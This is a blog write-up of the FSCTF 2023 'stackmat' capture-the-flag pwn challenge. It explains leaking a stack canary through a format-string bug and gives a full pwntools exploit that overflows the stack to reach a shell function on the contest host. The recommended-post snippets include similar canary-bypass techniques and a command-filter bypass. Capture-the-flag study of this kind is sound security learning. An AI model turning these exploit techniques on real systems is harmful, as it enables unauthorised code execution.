【pwn】[FSCTF 2023]stackmat --格式化字符串漏洞泄露canary

PWN做题笔记11-Mary_Morton(格式化字符串暴露canary) Mary_Morton,知识点是格式化字符串漏洞暴露canary 阅读详情

看一下程序的保护状态

开了canary,接着看一下代码逻辑

可以发现,这里有格式化字符串漏洞,同时gets函数有栈溢出漏洞,现在只需要确定我们输入到buf的内容在格式化字符的第几个参数就行

可以确定buf在格式化字符串的第8个参数,又因为buf的偏移是0x20,所以canary在11个参数,因为canary的偏移是0x8

exp:

from pwn import *

context(os='linux',arch='amd64',log_level='debug')

io=remote("node4.anna.nssctf.cn",28679)

io.recvuntil(b"Do you kown canary\n")

io.send(b"AAAAAAAA%11$p")

io.recvuntil(b'0x')

canary=int(io.recv(16),16)

ret=0x40101a

io.recvuntil(b"overflow\n")

payload=b'a'*(0x30-0x8)+p64(canary)+b'a'*8+p64(0x401240)

io.send(payload)

io.interactive()

格式化字符串漏洞利用之泄露canary 两道格式化字符串漏洞利用入门题,绕过canary的一种姿势,不知道写的对不对,请大家多指正。 0x01 Canary 保护 开启了NX和canary。 题目分析 有个getshell函数,vuln函数里面明显的栈溢出和格式化字符串漏洞,所以可以利用printf函数泄露出canary的值,然后利用栈溢出填充canary,控制返回指针执行getshell函数。 栈 从栈的情况看,var_8... 阅读详情

相关推荐

PWN基础-利用格式化字符串漏洞泄露canary结合栈溢出getshell

canary 所在地址为 0xffffcffc,内容为 0xe8ac1700。然后运行,期间会经过第一个 read 函数,随便输入:RRR。再看一下 canary 距离我们输入字符串的距离,偏移是 8。重新运行 canary 值会变:现在是 0x37133900。继续往下走,可以发现打印出的值就是 canary 的值。p 只显示了地址,x 还显示了地址处的内容。我们在栈上面找一下 0xe8ac1700。但是测试发现,输出结果多了一个换行符。这部分后面需要填充为垃圾数据。距离栈顶偏移值为 15。

Welcome To My6n Blog 819

PWN——格式化字符串泄露canary

格式化字符串泄露canary

djhtdjdywgjc的博客 2370

Silvaco Atlas入门指南——从零开始掌握半导体器件仿真

本文为Silvaco Atlas半导体器件仿真软件的入门指南,详细介绍了从零开始掌握该工具的核心流程。内容涵盖Atlas的基本概念、仿真流程、核心文件(输入、结构、输出文件)、交互式与批处理两种操作模式,并逐步演示了如何从定义网格、划分区域、设置电极到进行掺杂、选择物理模型并求解,最终获取和分析器件特性的完整步骤。旨在帮助微电子相关专业人员和工程师快速上手这一强大的“数字实验室”,提升半导体器件设计与研发效率。

weixin_29306317的博客 401

栈上格式化字符串漏洞:泄露canary,修改got表,stack check fail,one_gadget

此时就存在格式化字符串漏洞。%c为单个字符形式%s为多个字符形式%d为数字形式%f是转为浮点型%x是转为十六进制形式,不带0x%p是转为十六进制,但是带0x%n 将%n之前打印出来的字符的个数存入到参数中接下通过例题来讲解利用方法。

2302_79813730的博客 1328

Scratch-陶陶摘苹果

Scratch版-陶陶摘苹果([蓝桥杯][算法]) 题目要求: 陶陶家的院子里有一棵苹果树,每到秋天树上就会结出10个苹果。苹果成熟的时候,陶陶就会跑去摘苹果。陶陶有个30厘米高的板凳,当她不能直接用手摘到苹果的时候,就会踩到板凳上再试试。 现在已知10个苹果到地面的高度,以及陶陶把手伸直的时候能够达到的最大高度,请帮陶陶算一下她能够摘到的苹果的数目。假设她碰到苹果,苹果就会掉下来。 用scratch怎么完成呢? 首先加入角色题目介绍 接下来用询问框来录入苹果的高度并且记录到列表里 数据初始化 .

qq_38784092的博客 2903

RGB接口电容触摸屏驱动(二)接口与时序说明

RGB接口电容触摸屏驱动(二)接口与时序说明

杰克拉力船长个人博客 4920

FSCTF 2023(公开赛道)(pwn持续更新中)

file一下,64位,ida打开关键函数部分:检查用户输入的命令中是否包含"cat"、"flag"、"sh"或者"$0"这些关键词,如果包含,则输出"invalid command";否则关闭标准输出,然后调用backdoor函数。在backdoor函数中system(a1);存在,a1是buf也就是输入的我也是看了wp才知道的,还得多练直接 nc node4.anna.nssctf.cn 28229然后输入 tac fla* >&2。

沈理大学牲的博客 878

脑机接口(BCI)从原理到开发实战 09|SSVEP应用:通过视觉刺激控制设备

本文介绍了稳态视觉诱发电位(SSVEP)脑机接口技术。SSVEP是一种高效的非侵入式BCI范式,当用户注视特定频率闪烁的视觉刺激时,大脑枕叶会产生对应的节律性响应。文章详细阐述了SSVEP的神经机制、刺激范式设计、数据预处理方法,重点讲解了典型相关分析(CCA)这一核心识别算法。相比运动想象和P300范式,SSVEP具有信息传输率高(60-100 bits/min)、信号稳定、无需训练等优势,在高速拼写、设备控制等领域应用广泛。文章还提供了完整的电极选择、滤波、分段等预处理流程,以及CCA和滤波器组CCA的

小明的博客 1352

android 分钟 秒计时器_开发记录:连接Stackmat计时器

阅读本文大约需要5分钟;如需节省时间可先看结论:还得再等等。一、Android 篇大约在0.6版的时候增加了连接ss计时器功能,那时候的手机大多都比较简单没有降噪之类的功能,作者本人使用某TC的Android系统2.3手机,加上一个手机音频麦克风分线器就可以获取ss计时器的音频信号,波形看上去非常完美。后面的手机功能越来越多,现在也几乎找不到不带降噪功能的Android设备,信号被降噪后...

weixin_35945480的博客 884

Nacos 从困惑到蒙圈(9)Nacos 适配 达梦数据库【最新版】

介绍Nacos适配达梦数据库的详细步骤,包括对最新版本的支持改造。

甘蓝的专栏 1378

使用MCAL的Fee模块集成ETAS存储协议栈

由于ETAS Fee模块导致初始化时间较长,且集成占用的内存较大,所以最终考虑使用MCAL中的Fee模块来集成ETAS的Nvm模块,本文介绍具体的集成方法注意:本文所涉及的集成前提是原有的ETAS协议栈已正常使用使用IFX Fee需要手动配置Fee,可能有出错的风险,最好是利用脚本自动生成代码来实现。另外,需要注意IFX的Fee中block数据没有CRC校验,如果使用该Fee,建议Nvm中加CRC校验(ETAS Fee中block自带CRC,可以不需要Nvm Crc),防止数据被意外篡改导致的异常。

赞的博客 404

FSCTF 2023 PWN

FSCTF新生赛是由中国民航大学、天津理工大学、滁州学院、吉林师范大学、三明学院(排名不分先后)等5所高校共同举办的CTF新生赛,比赛涵盖Web、Pwn、Reverse、Crypto、Misc等赛题方向。通过此次比赛,希望能够提高参赛师傅们的实践能力,促进进一步学习竞赛知识的热情,并为大家提供一个展示自我、交流合作的平台。完结撒花!!!

Xzzzz911的博客 1120

QGis软件 —— 2、QGis加载在线地图两种方式(谷歌地图、天地图)

QGis软件 —— 2、QGis加载在线地图两种方式(谷歌地图)

1万+

[深育杯 2021]find_flag wp(绕过PIE和canary 格式化字符串 栈溢出 )

直接跳到格式化字符串漏洞处,然后查看栈结构,rbp上下分别是canary和返回地址。所以我们要输入0x40-0x8来把v2到canary填充完,然后再原封不动的输入canary,然后再输入0x8个a填充rbp指针,然后再输入后门函数地址覆盖返回地址。所以我们栈的第一个位置其实是rdi,所以canary和return的位置分别为17和19,我们输入。开了canary保护,栈溢出时,要还原canary,开了PIE,地址会改变。有了返回地址,我们减去偏移就能得到程序基地址,返回地址偏移为0x146F。

qq_73667990的博客 977

华为od 面试八股文_操作系统_01_含答案

华为od 面试八股文_操作系统_01_含答案

MISAYAONE的博客 3275

复分析 阿尔福斯(Ahlfors) 第三版答案 英文

答案分为十章,有部分习题没有答案,全英文复分析阿尔福斯(Ahlfors) 第三版答案

格式化字符串漏洞的两种利用姿势+orw沙盒利用

通过三道例题学习一下格式化字符串漏洞和orw(沙盒),所有例题需要附件可以私信我。

2301_79880074的博客 1135

efm32 入门.pdf

本PDF共计22页,介绍的是操作驱动API,下载与否自己斟酌。

格式化字符串绕过canary入门

知识格式化字符串漏洞是因为c语言中printf的参数个数不是确定的,参数的长度也不是确定的,当printf把我们的输入当作第一个参数直接输出的时候,我们输入若干格式化字符串,会增加与格式...

蚁景网安学院 653

深度学习工具包 DeepLearningToolbox

深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain's apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) (Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[![Bitdeli Badge](https://d2weczhvl823v0.cloudfront.net/rasmusbergpalm/deeplearntoolbox/trend.png)](https://bitdeli.com/free "Bitdeli Badge")

蓝牙模块HM-10手册

蓝牙模块HM-10手册,该手册对蓝牙模块HM-10进行了详细的介绍和使用方法以及一些AT指令。

Canary 的绕过方法

Canary设计其低字节为\x00,本意是阻止被read、write等函数直接将Canary读出来。\x00二话不说,上题基础检查发现canary丢入ida中发现在循环printf,并且存在字符串漏洞(这个稍后再谈)同时有getshell函数可以直接拿shell接下来就是找canary到栈顶的偏移有两种方法,这里先介绍第一种看汇编语言跟进这段函数的汇编发现 多了一段异或比较可以判断canary在var_c里,所以buf 到canary的偏移为0x70-0xc。

zhuo1358的博客 2133

格式化字符串泄露canary+ret2libc

264/8=33,因为是六十四位文件所以他格式化字符串时候前六个参数是在寄存器中的而栈空间这个记录的第一个偏移其实是真实的第七个数据单元所以这边算出来33还要再加6,即为canary值,利用格式化字符串泄露内存的payload应该为(%39$p)接下来再本地run一下看看。这边泄露出来libc基地址需要用puts真实地址减去偏移量,即为基地址,每次运行程序偏移量是不变的是固定的所以这边可以利用动调获取到puts的真实地址和基地址计算偏移量,这边有两个函数。

qq_41710399的博客 1137

Canary

Canary是一种用以防护栈溢出的保护机制。

Sean_summer的博客 729

pwn学习---借助格式化输出绕过canary保护

0x01 原理简介 格式化字符串漏洞是因为c语言中printf的参数个数不是确定的,参数的长度也不是确定的,当printf把我们的输入当作第一个参数直接输出的时候,我们输入若干格式化字符串,会增加与格式化字符串相对应的参数,会泄露出栈中的内容 Stack canary保护机制在刚进入函数时,在栈上放置一个标志canary,然后 在函数结束时,判断该标志是否被改变,如果被改变,则表示有攻击行为发生。...

gclome的博客 671

pwn1 格式化字符串泄露canary

前面在终端中查看保护机制和32位在前面提到过就不讲了, 只不过在这里只开启了Canary,所以我们可以用格式化字符串漏洞泄露出栈上保存的Canary,没有开启NX,说明堆栈可执行,我们可以在第二次输入中直接把shellcode布置到栈里面,然后返回到栈里 用ida简单看了一下,就是让你输入名字,然后调用get_message函数输出你的名字,让你留言,留言有溢出漏洞,显然用了printf,也有...

qq_44832048的博客 1017

pwn刷题num17-----格式化字符串泄露canary+栈溢出

攻防世界pwn进阶区Mary_Morton 首先查保护–>看链接类型–>赋予程序可执行权限–>试运行 64位,小端序 开启部分RELRO---got表仍可写 开启canary保护---栈溢出需绕过canary 开启NX保护----堆栈不可执行 未开启PIE----程序地址为真实地址 动态链接 运行后,选1是栈溢出,选2是格式化字符串溢出,选3是退出程序 ida一下主函数 简单的程序,三种选择,选1进入stack()函数 buf占0x90字节,read函数读入0x100字节,寻找

tbsqigongzi的博客 1500

从格式化字符串泄露canary到栈溢出

以ASIS-CTF-Finals-2017 Mary_Morton为例 checksec查看,开了NX保护,还有canary IDA打开 void __fastcall __noreturn main(__int64 a1, char **a2, char **a3) { const char *v3; // rdi int v4; // [rsp+24h] [rbp-Ch] ...

SsMing的博客 4536

格式化字符串漏洞泄露StackCanary

2017陕西省的pwn_box这个题作为调试的程序,gdb作为工具 先来熟悉原理,推荐几个pdf学习懂原理吧: Format String Exploitation-Tutorial By Saif El-Sherei Exploiting Format String Vulnerabilities  scut/team teso 看完这几个会对原理有深刻认识,然后如何操作呢? 戳我

ACdream 3172

格式化字符串漏洞_格式化字符串绕过canary入门

原创: EDI-VOID 合天智汇 知识格式化字符串漏洞是因为c语言中printf的参数个数不是确定的,参数的长度也不是确定的,当printf把我们的输入当作第一个参数直接输出的时候,我们输入若干格式化字符串,会增加与格式化字符串相对应的参数,会泄露出栈中的内容Canary的工作原理就是子函数在做自己的事情之前,在自己的栈帧里返回地址之前插入一个随机的cookie,从gs:0x14的地方取出...

weixin_39611340的博客 271
上一篇: 【pwn】[FSCTF 2023]2str --整数溢出绕过
下一篇: 【pwn】[FSCTF 2023]What am I thinking? --pwntools工具的利用
GGb0mb
博客等级 码龄4年 224粉丝 53原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值